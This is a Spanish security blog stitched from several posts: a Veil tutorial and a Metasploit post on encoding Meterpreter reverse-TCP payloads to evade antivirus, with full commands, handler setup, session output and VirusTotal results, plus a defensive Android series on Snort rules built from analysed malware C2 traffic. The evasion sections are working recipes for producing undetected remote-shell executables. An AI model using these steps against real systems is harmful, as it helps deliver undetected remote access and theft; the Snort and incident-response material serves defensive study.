Antivirus Bypass con Veil

Hace unos pocos días Christopher Truncer publicaba en SU BLOG un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.

La herramienta puede descargarse de ESTE GITHUB, y a priori debería ser multiplataforma, aunque yo no lo he conseguido hacer funcionar en mi Mac, así que os recomendo que lo probéis directamente con Kali Linux.

# git clone https://github.com/ChrisTruncer/Veil.git

Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:

# cd Veil
# cd setup
# ./setup.sh

Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:

# ./Veil.py 
====================================
 Veil | [Version]: 1.0 | [Updated]: 05.30.2013
====================================
 [By]: Chris Truncer | [Twitter]: @ChrisTruncer
====================================
[?] What payload type would you like to use?
 1 - Meterpreter - Python - void pointer
 2 - Meterpreter - Python - VirtualAlloc()
 3 - Meterpreter - Python - base64 Encoded
 4 - Meterpreter - Python - Letter Substitution
 5 - Meterpreter - Python - ARC4 Stream Cipher
 6 - Meterpreter - Python - DES Encrypted
 7 - Meterpreter - Python - AES Encrypted
 0 - Exit Veil
[>] Please enter the number of your choice: 7

Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:

[?] What type of payload would you like?
 1 - Reverse TCP
 2 - Reverse HTTP
 3 - Reverse HTTPS
 0 - Exit Veil
[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.1.100
[?] What's the Local Port Number: 1212
[*] Generating shellcode...

Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:

[?] How would you like to create your payload executable?
 1 - Pyinstaller (default)
 2 - Py2Exe
[>] Please enter the number of your choice: 1
184 INFO: wrote Z:\opt\Veil\payload.spec
244 INFO: Testing for ability to set icons, version resources...
261 INFO: ... resource update available
267 INFO: UPX is not available.
2296 INFO: checking Analysis

[...]

Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:

[!] Be sure to set up a Reverse TCP handler with the following settings:

 PAYLOAD = windows/meterpreter/reverse_tcp

 LHOST   = 192.168.1.100

 LPORT   = 1212

[!] Your payload files have been generated, don't get caught!

Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E
[*] Started reverse handler on 0.0.0.0:1212 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:1212 -> 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200
meterpreter > sysinfo
Computer        : S21SEC-JSELVI
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : es_ES
Meterpreter     : x86/win32

Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. EL RESULTADO del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.

No tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.

Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!

Monitorización del tráfico en dispositivos Android (y IV)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya llega a su cuarto y último post después de ESTE, ESTE y ESTE.

En los últimos dos posts vimos varios casos prácticos con malware real. Las firmas creadas en el análisis han sido incluidas en emerginghthreat.

Ahora vamos a explicar los pasos a seguir para hacer la respuesta a incidentes.

Detección de malware sin firmas

En esta categoría tenemos malware del que se sabe su existencia y ha sido reportado pero para el que no existen firmas.

• Preparación: En esta fase se debe elegir a un analista de seguridad que se encargará de monitorizar foros y listas de seguridad de Android y malware con el fin de estar al tanto de cualquier posible amenaza. Además, es necesario preparar el laboratorio donde se van a realizar las pruebas. Los componentes son:
• Dispositivo Android dónde ejecutar el malware
• PC con Linux para subir el malware al smartphone. El PC debe tener tarjetas de red y herramientas para el análisis de tráfico (Snort, tcpdump, Wireshark). El tráfico será enviado a la tarjeta de red a través de mirroring o SPAN.
• Un AP WiFi con una read aislada (separada del entorno de producción) y con acceso a Internet. El tráfico del AP se enviará al PC (por ejemplo algunos modelos de Linksys permiten hacer forwarding del tráfico).
• Política de backup y restauración del Android para poder recuperar el dispositivo después de la infección. Se creará una imagen base y limpia que se reinstalará para hacer nuevas pruebas.
• Identificación: durante esta fase el analista de seguridad identificará malware potencial que pueda suponer un riesgo. Como el malware ha sido reportado existirá información que puede ser de ayuda. Por ejemplo, las conexiones que realiza o qué hace el malware a nivel funcional. Una vez se obtiene una muestra del malware, el analista debe instalarlo en el smartphone, capturar el tráfico con tcpdump y analizarlo con snort. El analista debe ser capaz de crear firmas en función de los flujos de datos generados y corroborándolos con el report (si existe) del malware. Una vez la firma ha sido creada se puede analizar el tráfico capturado previamene contra Snort 
• Contención: al ejecutarse en un entorno controlado y ser test esta fase no es aplicable
• Erradicación: análogo a contención.
• Lecciones aprendidas: aunque las pruebas se ejecutan en un entorno controlado la información obtenida debe ser usada para informar a los usuarios de la potencial amenaza (vías de infección, impacto, etc).

Detección de malware 0-day

Este escenario es diferente del anterior ya que no hay información ni firma del malware. Por ello, el análisis es más complicado y en muchos casos el malware y la infección no será detectado al principio. Por lo tanto, el proceso de respuesta a incidente será diferente.

• Preparación: en esta fase y al tratarse de un entorno en producción todos los dispositivos deberán ser configurado según la arquitectura propuesta en el post 1. Esto implica que todo el tráfico es capturado y analizado por Snort en tiempo real. Durante esta fase se debe de nombrar a una analista de seguridad como se hizo en el caso anterior. Además, se definirá una política de backup (diaria, semanal..) de todos los dispositivos y las copias se almacenarán en un lugar seguro (hay diferentes herramientas que se encargan de hacerlo). El analista tendrá accesso por SSH a través del túnel VPN al smartphone como se describe aquí
• Identificación: esta es sin duda la parte más complicada ya que al no existir firmas ninguna alerta saltará, si tenemos suerte alguna de las firmas creadas para detectar tráfico no estándar generará una alerta que podrá ser usada como punto de inicio para la investigación, pero si no es el caso hay que ver otras alternativas:
• Detectar si alguna aplicación ha sido instalada sin nuestro conocimiento. Para ello, se puede hacer uso del comando ‘pm list packages’ que muestra todos los paquetes instalados. O bien, es posible ver las aplicaciones instaladas con el comando 'ls –lahtr /data/app' en la shell de Android.
• Comprobar que puertos están a la escucha con el fin de detectar alguna puerta trasera. En algunos casos de malware en Android se han creado puertas traseras. Para ello la herramienta 'netstat' puede ser útil. Si existe algún puerto a la escucha podemos correlar esta información con el tráfico capturado en tiempo real por tcpdump y podríamos analizar lo que ha pasado antes y despues de usarse ese puerto.
• Detectar ficheros que han sido modificados o añadidos en las últimas horas (el timestamp es crucial para correlarlo con el tráfico capturado). Con el comando 'find' y algunos parámetros podemos hacer esto. Una vez tenemos la lista de ficheros tenemos que investigar para que sirven. Por ejemplo, el malware 'Kungfu Variant' modifica el fichero /data/data/data/com.noshufou.android.su/databases/su.db con el fin de dar permisos 'su' (root) a ciertas aplicaciones. Esto es un ejemplo de que debe ser investigado y correlado con el tráfico.
• Comprobar los permisos de las aplicaciones desde el GUI del terminal. Normalmente la mayoría del malware configura permisos innecesarios (acceso a la SD, lectura de los SMS, etc). Con esta información se puede averiguar qué aplicaciones tienen demasiados permisos, chequear cuando fue instalada esa aplicación y correlar con el tráfico capturado.
• Con esto tendremos  suficiente información (básicamente timestamp) que usaremos para correlar con los flujos de tráfico. Por ejemplo, podemos ver qué sitios web han sido visitados antes de cierto momento o después, o bien si alguna aplicación fue instalada o descargada después de visitar una página web. Podemos ver qué ha pasado después de que el sistema haya sido comprometido. Con toda esta información es posible crear firmas de Snort.
• Contención: Al tener control sobre el tráfico que fluye sobre el VPN podemos crear reglas de filtrado en función de un puerto, una IP, etc. Esta es la manera más sencilla de contener el incidente. Por ejemplo, supongamos que hay una conexión hacia la IP 1.1.1.1 donde se envía información robada por HTTP al puerto 80, con lo que podríamos crear una regla así:

/sbin/iptables iptables -A INPUT  -i tun0 -p 6 --dport 80 –d 1.1.1.1/32  -j DROP

• Erradicación: en esta fase el malware debe ser borrado/desinstalado. Esto se puede hacer desde la shell con los comandos: 'pm clear package_name' y 'pm uninstall package_name'
• Recuperación: Algunas veces no es suficiente con desinstalar o borrar los archivos por lo que hay que recuperar del último backup limpio y es por esto que es muy importante definir una política de backups durante la fase de preparación. Además es importante durante esta fase monitorizar el tráfico con las reglas de snort creadas con el fin de detectar si otros dispositivos han sido afectados o bien el mismo es comprometido otra vez. También, se puede analizar si ha habido algún match de la regla de iptables creada. 
• Lecciones aprendidas: una vez se tiene claro como se ha comprometido el smartphone, hay que informar al usuario la razón de la infección y como evitarlo en el futuro. También es buena práctica informar al resto de usuarios de la amenaza y como evitarlo.

Hasta la próxima.

Monitorización del tráfico en dispositivos Android (III)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya llega a su tercer post después de ESTE y de ESTE:

Al final del segundo post sobre esta serie analizamos el malware  ‘Android - Fake Installer /Fake Lookout (TrojanFakeLookout.A.)’ y ahora seguiremos haciendo el análisis de otros tres ejemplos.

 Análisis of ‘Android Fakelash - Android SMS trojan’

Este malware simular ser el popular plugin para visualizar contenido flash. No vamos a entrar al detalle de como funciona el malware ya que se puede encontrar el informe aqui, pero a modo de resumen este malware se dedica a leer los SMS recibidos y mandarlos por HTTP a un servidor (por ejemplo, para robar tokens de autenticación enviados por SMS para acceder a banca online). Como hicimos en el anterior caso, lo que haremos es ejecutar el malware, ver si existen alguna alerta  y analizar los flujos de datos que se producen. En este caso particular, ya existe una firma creada por emergingthreats  para detectar el malware:

/etc/snort/rules/malware-cnc.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Android/Fakelash.A!tr.spy trojan command and control channel traffic"; flow:to_server,established; content:"/data.php?action="; nocase; http_uri; content:"&m="; distance:0; nocase; http_uri; content:"&p="; distance:0; nocase; http_uri; content:"&n="; distance:0; nocase; http_uri; metadata:policy security-ips drop, service http; reference:url,blog.fortiguard.com/android-malware-distributed-by-malicious-sms-in-france/; classtype:trojan-activity; sid:24251; rev:1;)

Esta firma basicamente mira lo siguiente:

• Tráfico HTTP sobre TCP con origen la red interna y destino cualquier otra red
• Que el contenido de la URI contenga: /data.php?action 
• Seguidamente de: &m=, &p=, &n=

Es decir, que la URI sea así: data.php?action=XXX+&m=YYY+&p=ZZZ+&n=TTT (a través de estos valores se el envía la información 'robada' al servidor).

Pero desafortunadamente no se genera ninguna alerta en snort, lo que significa que la firma no funciona.

Mirando la captura del tráfico con Wireshark podemos ver el siguiente tráfico:

GET /data.php?action=cmd&online=ffffffff-c32c-1f6d-2bbc-fab90033c587&m=null&ver=Flash HTTP/1.1

User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)

Host: androidoutdate.co.cc

Connection: Keep-Alive

Accept-Encoding: gzip

En este caso, la URI solicitada es:

/data.php?action=cmd&online=UUID&m=PHONE NUMBER&ver=flashpayer11

Lo que nos permite generar una firma usando la firma inicial pero adaptándola:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Android/Fakelash.A!tr.spy trojan command and control channel traffic - VERSION aparrizas"; flow:to_server,established; content:"/data.php?action="; nocase; http_uri; content:"&online="; distance:0; nocase; http_uri; content:"&m="; distance:0; nocase; http_uri; content:"&ver="; distance:0; nocase; http_uri; metadata:policy security-ips drop, service http; reference:url,blog.fortiguard.com/android-malware-distributed-by-malicious-sms-in-france/; classtype:trojan-activity; sid:88888802; rev:1;)

Análisis of ‘Android SimpleTemai’

Este especimen se dedica a bajar ficheros e instalar un backdoor en el dispositivo comprometido. El análisis completo se puede encontrar aquí. Después de ejecutar el malware vemos que ninguna alerta se ha generado pero mirando con Wireshark la captura del tráfico podemos ver lo siguiente:

GET /control.html?imei=352212045402919&sim=null&imsi=null&model=HTC%20Vision&release=2.3.7&qd=01300602323&gamename=com.polarbit.rthunderliteok&script=001 HTTP/1.1

User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)

Host: wap.juliu.net

El dominio wap.juliu.net esta incluido en el análisis. En este caso podríamos crear una firma para ese dominio pero si miralos en la URI podemos ver que uno de los parámetros enviados es el IMEI (imei=352212045402919).

Si buscamos firmas existentes para la cadena IMEI encontramos lo siguiente:

/etc/snort/rules/emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Possible Mobile Malware POST of IMEI International Mobile Equipment Identity in URI"; flow:established,to_server; content:"POST"; http_method; content:"imei="; nocase; http_uri; reference:url,www.met.police.uk/mobilephone/imei.htm; classtype:trojan-activity; sid:2012848; rev:1;)

La razón por la que no ha saltado la alerta es porque el metodo HTTP de la firma es POST, pero el malware usa GET. Lo más sencillo es crear una firma cambiando el método POST por el GET, es decir cambiando el string POST por GET.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Possible Mobile Malware GET of IMEI International Mobile Equipment Identity in URI"; flow:established,to_server; content:"GET"; http_method; content:"imei="; nocase; http_uri; reference:url,www.met.police.uk/mobilephone/imei.htm; classtype:trojan-activity; sid:888888889; rev:1;)

 Análisis of ‘Android KungFu variant’

El análisis completo de este malware se puede ver aquí. Este malware es bastante más agresivo ya que modifica ficheros claves del sistema operativo. Para ello, descarga ciertos ficheros de un servidor a través de HTTP pero usando un puerto no estandar.

Si ejecutamos el malware, vemos que se generan varias alertas:

[**] [1:9999999:0] NOT STANDARD TCP PORTS [**]

[Priority: 0]

11/24-04:10:50.237622 172.16.1.99:54122 -> 114.112.190.30:7500

TCP TTL:64 TOS:0x0 ID:61659 IpLen:20 DgmLen:60 DF

******S* Seq: 0xD6B7A4BF  Ack: 0x0  Win: 0xFAF0  TcpLen: 40

TCP Options (5) => MSS: 1350 SackOK TS: 21604 0 N

Estas alertas son generadas por la firma que creamos inicialmente para detectar tráfico que no es estándar.

Si miramos las reglas existentes de snort podemos ver que ya existen firmas para definidas para este malware, pero por desgracia ninguna de ellas ha generado una alerta.

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"/search/sayhi.php"; distance:0; nocase; sid:2013020; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin 2"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"search/rpty.php"; distance:0; nocase; sid:2013022; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Checkin 3"; flow:established,to_server; content:"POST "; depth:5; nocase; content:"/search/getty.php"; distance:0; nocase; sid:2013063; rev:1;)

emerging-mobile_malware.rules:alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MOBILE_MALWARE Android/KungFu Package Delete Command"; flow:established,to_server; content:"/search/isavailable"; http_uri; content:".php?imei="; http_uri; content:"&ch="; http_uri; content:"&ver="; http_uri; content:"User-Agent|3A 20|adlib/"; http_header; classtype:trojan-activity; sid:2013968; rev:1;)

Analizando el tráfico generado podemos ver que el malware realiza varias conexiones a diferentes IP y puertos 114.112.190.30:7500, 58.221.44.102:7500, 180.210.34.207:8511.

Las primeras peticiones web son las siguientes:

GET http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=all

GET http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=CHNF&u=352212045402919

En la segunda petición se puede ver que se envía el IMEI del teléfono con el parámetro: 'u=352212045402919'. La razon por la cual no ha saltado la alerta para la firma del IMEI que creamos anteriormente es que el string no contiene la cadena IMEI.

Existe, además otra conexión sospechosa a 58.221.44.102:7500, pero esta vez se trata de una petición POST:

imei=352212045402919&packagename=com.tebs3.cuttherope&versionname=1.1.5&versioncode=6&IMEI=352212045402919&login_way=1&user_detal_info=1&rq_poster=1&user_detal_info=1&dId=10000

Claramente se ve el string IMEI en la petición, ¿por qué tampoco hay una alerta con la firma 'ET MOBILE_MALWARE Possible Mobile Malware POST of IMEI International Mobile Equipment Identity in URI' analizada anteriormente?. La respuesta es sencilla: la firma esta creada para detectar solo el IMEI en el tráfico HTTP en puertos estándar, y el puerto 7500 no es un puerto normalmente utilizado para HTTP.

La última petición web que se realiza es la siguiente:

GET ad.pandanew.com:8511/search/s2.php?i=352212045402919&c=NCuttherope&v=17&b=htc_wwe&m=HTC+Vision&sv=10

Al igual que las anteriores el IMEI se envía en la petición sin generar ninguna alerta.

Como vemos, existen varias peticiones y ninguna genera alertas a excepción de la de tráfico en puertos no estándar.

Mirando las firmas existentes para este malware podemos ver que todas tienen en común el string 'search' en la petición HTTP y este string tambien esta en la última petición web realizada por el malware a a ad.pandanew.com:8511/search/s2.php. Llegados aquí las posibilidades de crear una firma que detecte este malware son varias, pero seguiremos el patrón de las existentes, es decir, usar la petición con la cadena 'search'. Así la firma sería la siguiente:

alert tcp $HOME_NET any -> $EXTERNAL_NET 8511 (msg:"ET MOBILE_MALWARE DroidKungFu Variant - aparrizas"; flow:established,to_server; content:"GET"; content:"/search/s2.php";  sid:88888804; rev:1;)

(¡continuará una última vez!)

Monitorización del tráfico en dispositivos Android (II)

Seguimos con la contribución de Angel Alonso-Parrizas, que ya empezó la semana pasada:

En el primer post dejamos configurado el túnel VPN de tal manera que en el endpoint se podía lanzar tcpdump sobre el interfaz virtual para capturar el tráfico y guardarlo en un fichero.

Lo que vamos a hacer ahora es instalar snort y configurarlo. Por defecto, la versión de Linux usada tiene Snort 2.9.4 en el repositorio así que la podemos instalar de allí sin problemas. Los paquetes a instalar son: snort, snort-common and snort-common-libraries.

Lo siguiente a instalar son las firmas de emergingthreats en las cuales ya se incorpora algunas firmas para Android. En nuestro caso los ficheros de las firmas que vamos a dejar configuradas en el snort.conf son: blacklist.rules, botnet-cnc.rules, community-bot.rules, community-virus.rules, malware-backdoor.rules, malware-cnc.rules , malware-tools.rules, emerging-trojan.rules, emerging-malware.rules, emerging-botcc.rules. Además, en el fichero local.rules crearemos nuestras propias firmas.

Para configurar correctamente snort tenemos que definir cual es la red interna, es decir, que tráfico se considera local y cual externo. Para ello, hay que definir la red asignada al VPN y el interfaz del que queremos analizar el tráfico y esto se hace en el fichero /etc/snort/snort.debian.conf de la siguiente manera:

DEBIAN_SNORT_HOME_NET="172.16.1.1/24"
DEBIAN_SNORT_INTERFACE="tun0"

Lo único que falta es lanzar snort y ver que el proceso esta ejecutándose:

/usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[172.16.1.1/24] -i tun0

Lo siguiente es definir que tráfico es considerado normal y cual no. Esto dependerá de cada caso particular, pero para este proyecto se considera que 53/tcp, 53/udp, 80/tcp, 123/udp, 443/tcp y 5228/tcp es tráfico permitido. Cualquier otro tráfico debe levantar una alerta y debe ser investigado ya que puede ser síntoma de que el dispositivo ha sido comprometido.  Las reglas de snort que generarán las alertas son:

alert tcp $HOME_NET any -> $EXTERNAL_NET !$HTTP_PORTS,!5228,!53 (msg:"NOT STANDARD TCP PORTS";sid:9999999; rev:0;)

alert udp $HOME_NET any -> $EXTERNAL_NET !53,!123(msg:"NOT STANDARD UDP PORTS";sid:9999998; rev:0;)

Estas reglas son bastante sencillas si se tiene un conocimiento de snort. La primera regla genera una alerta si se detecta tráfico TCP con puerto destino distinto a los puertos HTTP/s (80 y 443), 5228/tcp o el puerto 53/tcp. La segunda regla es análoga pero para el tráfico UDP a puertos DNS y NTP.

Para probar las reglas y ver que funciona lanzamos un netcat desde la consola del Android a un puerto no estándar (9999/tcp) y podemos ver la alerta en el fichero /var/log/snort/alert:

[**] [1:9999999:0] NOT STANDARD TCP PORTS [**]
[Priority: 0]
11/12-19:29:56.422536 172.16.1.99:37946 -> 147.156.1.1:9999
TCP TTL:64 TOS:0x0 ID:25761 IpLen:20 DgmLen:60 DF
******S* Seq: 0xA82B1A31  Ack: 0x0  Win: 0xFAF0  TcpLen: 40
TCP Options (5) => MSS: 1350 SackOK TS: 492084 0 NOP WS: 1

A su vez, podemos ver que el tráfico se ha almacenado en el fichero capturex.cap sobre el que escribe el tcpdump ejecutado en modo background (post 1):

root@lab1:/var/log/snort# tcpdump -nr /home/angel/capturex.cap host 147.156.1.1

reading from file /home/angel/capturex.cap, link-type RAW (Raw IP)

19:29:47.402027 IP 172.16.1.99.37946 > 147.156.1.1.9999: Flags [S], seq 2821397041, win 64240, options [mss 1350,sackOK,TS val 491182 ecr 0,nop,wscale 1], length 0

Ahora que sabemos que todo funciona bien vamos a probar a hacer lo mismo con malware.

De la página http://contagiominidump.blogspot.com.es/ podemos bajar muestras de malware para Android, subirlas al smartphone y luego ejecutarlo.

En teoría, como ya existen firmas para Android (de emergingthreat) debería haber alertas generadas en algunos de los casos que vamos a analizar, pero esto es sólo la teoría. En la práctica ninguno de los ejemplos de malware que vamos a testear son detectados con las firmas por defecto.

Análisis de ‘Android - Fake Installer /Fake Lookout (TrojanFakeLookout.A.)’

El informe de lo que hace este malware se puede encontrar aquí. Sin entrar al detalle de como funciona este malware lo que hace básicamente es robar información del smartphone y enviarla por HTTP a un servidor. En esta comunicación HTTP el servidor puede enviar comandos al dispositivo también. Como he comentado antes, cuando ejecutamos el malware en el dispostivo y miramos los logs de snort no hay ninguna alerta, por lo que hay que indagar en el fichero con las capturas del tcpdump.

Lo mejor es tirar de Wireshark por la comodidad de lo visual, aunque se podría hacer el mismo análisis con Tshark o alguna otra herramienta.

Lo que vemos es una conexión GET a la IP 68.178.232.10 con el siguiente contenido:

GET /controls.php HTTP/1.1

User-Agent: Dalvik/1.4.0 (Linux; U; Android 2.3.7; HTC Vision Build/GRI40)

Host: thelongislandpress.com

Connection: Keep-Alive

Accept-Encoding: gzip

Correlando esta información con la del report, vemos que la URL http://thelongislandpress.com/controls.php es la misma, así que lo más sencillo es crear una regla que haga un match de este host en la cabecerar HTTP además del recurso controls.php.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE Android TrojanFakeLookout.A"; flow:established,to_server; content:"/controls.php";nocase; http_uri; content:"Host: thelongislandpress.com"; http_header; metadata:service http; reference:url,blog.trustgo.com/fakelookout/; sid:88888801; rev:1;)

Sin entrar al detalle del lenguaje usado en Snort, lo que hace la regla es hacer un match de lo anteriormente comentado y alertar cuando hay tráfico TCP desde la red interna a cualquier otro sitio y el puerto es HTTP.

Una vez tenemos las regla creada debemos de probarla con el tráfico capturado y ver si funciona:

/usr/sbin/snort -m 027  -d -l /var/log/snort2 -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[172.16.1.1/24] -r /home/angel/capturex.cap

Asi vemos la alerta en el fichero de snort:

 [**] [1:88888801:1] MALWARE Android TrojanFakeLookout.A [**]

[Priority: 0]

11/08-21:00:55.125712 172.16.1.99:59058 -> 68.178.232.100:80

TCP TTL:113 TOS:0x0 ID:24542 IpLen:20 DgmLen:223 DF

***A**** Seq: 0x393EB8F8  Ack: 0x9A02E635  Win: 0xFF48  TcpLen: 20

[Xref => http://blog.trustgo.com/fakelookout/]

(continuará)

Metasploit & Antivirus (IV): Encoding contra Firmas

En el anterior post nos quedamos con que habíamos conseguido evadir el Antivirus empleando un Payload Java, pero al intentar subir el Payload Nativo (con mucha más funcionalidad) volvía a detectarlo. Para evitar eso, Metasploit tiene una funcionalidad para encodear Payloads que nos va a permitir codificar el Payload, con lo que vamos a evitar la detección por firmas y, como en este caso, algunas detecciones heurísticas.

Veamos qué posibles encodings podemos aplicar:

# cd /opt/metasploit3/msf3/

# ./msfencode -l

[...]

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

[...]

En principio el encoding "shikata_ga_nai" es el más ampliamente usado, así que vamos a hacer un par de pruebas y vamos a crear un fichero msf1.exe que es un Payload de Meterpreter sin encodear y luego vamos a generar otro encodeado con 5 iteraciones de este encoder, y lo vamos a llamar msf2.exe, y a ver que nos dice VirusTotal:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 X > msf1.exe

Antivirus	Version	Last update	Result
AhnLab-V3	2011.05.08.00	2011.05.07	Trojan/Win32.Shell
AntiVir	7.11.7.177	2011.05.08	TR/Crypt.EPACK.Gen2
Antiy-AVL	2.0.3.7	2011.05.08	-
Avast	4.8.1351.0	2011.05.08	Win32:SwPatch
Avast5	5.0.677.0	2011.05.08	Win32:SwPatch
AVG	10.0.0.1190	2011.05.08	Win32/Heur
BitDefender	7.2	2011.05.08	Backdoor.Shell.AC
CAT-QuickHeal	11.00	2011.05.08	Trojan.Swrort.A
ClamAV	0.97.0.0	2011.05.07	-
Commtouch	5.3.2.6	2011.05.07	W32/Swrort.A.gen!Eldorado
Comodo	8627	2011.05.08	-
Emsisoft	5.1.0.5	2011.05.08	Trojan.Win32.Swrort!IK
eSafe	7.0.17.0	2011.05.05	-
eTrust-Vet	36.1.8312	2011.05.06	Win32/Swrort.A!generic
F-Prot	4.6.2.117	2011.05.08	W32/Swrort.A.gen!Eldorado
Fortinet	4.2.257.0	2011.05.08	-
GData	22	2011.05.08	Backdoor.Shell.AC
Ikarus	T3.1.1.103.0	2011.05.08	Trojan.Win32.Swrort
Jiangmin	13.0.900	2011.05.05	-
K7AntiVirus	9.102.4584	2011.05.06	Riskware
Kaspersky	9.0.0.837	2011.05.08	HEUR:Trojan.Win32.Generic
McAfee	5.400.0.1158	2011.05.08	-
McAfee-GW-Edition	2010.1D	2011.05.07	-
Microsoft	1.6802	2011.05.08	Trojan:Win32/Swrort.A
NOD32	6105	2011.05.08	a variant of Win32/Rozena.AA
Panda	10.0.3.5	2011.05.08	Suspicious file
PCTools	7.0.3.5	2011.05.06	-
Prevx	3.0	2011.05.08	-
Rising	23.56.06.05	2011.05.08	-
Sophos	4.65.0	2011.05.08	Mal/Swrort-C
SUPERAntiSpyware	4.40.0.1006	2011.05.08	Trojan.Backdoor-PoisonIvy
TheHacker	6.7.0.1.191	2011.05.08	-
TrendMicro	9.200.0.1012	2011.05.08	-
TrendMicro-HouseCall	9.200.0.1012	2011.05.08	-
VBA32	3.12.16.0	2011.05.08	-
VIPRE	9223	2011.05.08	Trojan.Win32.Swrort.B (v)
ViRobot	2011.5.7.4450	2011.05.08	-
VirusBuster	13.6.343.0	2011.05.08	Trojan.Rosena.Gen.1

22/38 (57.9%)

Ya para empezar, hay una cantidad razonable de Antivirus que NI SE ENTERAN de que el binario tiene un Meterpreter, y sorprende particularmente que entre ellos hay varios de los más conocidos. Veamos que pasa ahora si aplicamos un poco de encoding:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o msf2.exe

Empleando el encoding la detección baja ligeramente hasta 23/42 (54.8%), pero como vemos poco cambia la situación. Vamos a hacer otra prueba para que veáis una cosa curiosa, vamos encodear un fichero vacio con un encoding "none", osea, sin ningún payload y sin ningún encoding, a ver que detección nos saca:

# echo -n | ./msfencode -e generic/none -t exe -o msf4.exe

Ahora es cuando nos quedamos con la cara de tontos, otra vez 23/41 (56.1%). Esto es debido a que algunos Antivirus ya se han preocupado de detectar de alguna forma los binarios encodeados con el msfencode de Metasploit, independientemente de su contenido.

Así que, en conclusión, podemos tener suerte y encontrar uno de los Antivirus que no detectan los Payloads de Metasploit y no tengamos que hacer nada, o que lo detecten y con un simple encoding consigamos que deje de detectarlo, pero en este caso lo tenemos un poco más complicado, así que vamos a tener que optar por otro tipo de encoding algo menos conocido.

Para ello vamos a irnos a la versión de desarrollo de msfencode, que tiene una funcionalidad nueva (no aparecerá hasta la versión 3.8 de Metasploit de forma estable) que permite generar el Payload dentro de un Script Visual Basic, pero de una forma diferente a como lo hacía anteriormente con VBS, Java, etc. En general, cuando tú generas un Payload Nativo dentro de un War, un VBS o similar, este lo que hace es crear un fichero en el disco y luego lo ejecuta, con lo que el Antivirus acabará detectando este binario, así que para este caso no nos sirve mucho.

